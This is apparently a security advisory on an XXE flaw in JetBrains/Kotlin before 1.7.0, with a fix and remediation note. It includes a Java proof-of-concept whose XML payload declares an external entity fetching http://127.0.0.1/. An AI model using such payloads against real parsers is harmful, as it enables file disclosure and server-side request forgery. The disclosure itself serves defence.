Summary
JetBrains/Kotlin is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data.
This issue was fixed in version 1.7.0.
Product
JetBrains/Kotlin before version 1.7.0.
Impact
A remote attacker can exploit this vulnerability to expose sensitive information or consume memory resources.
Steps to reproduce
#Extracted out the key function in the vulnerable code to showcase how it can be exploited.
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;
import java.io.ByteArrayInputStream;
public class Poc {
public static void main(String[] args) {
try {
String xmlpoc = "<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/">]><foo>&xxe;</foo>";
SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
} catch (Exception e) {
e.printStackTrace();
}
}
}Expected result:
This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.Remediation
Update JetBrains/Kotlin to version 1.7.0 or above.
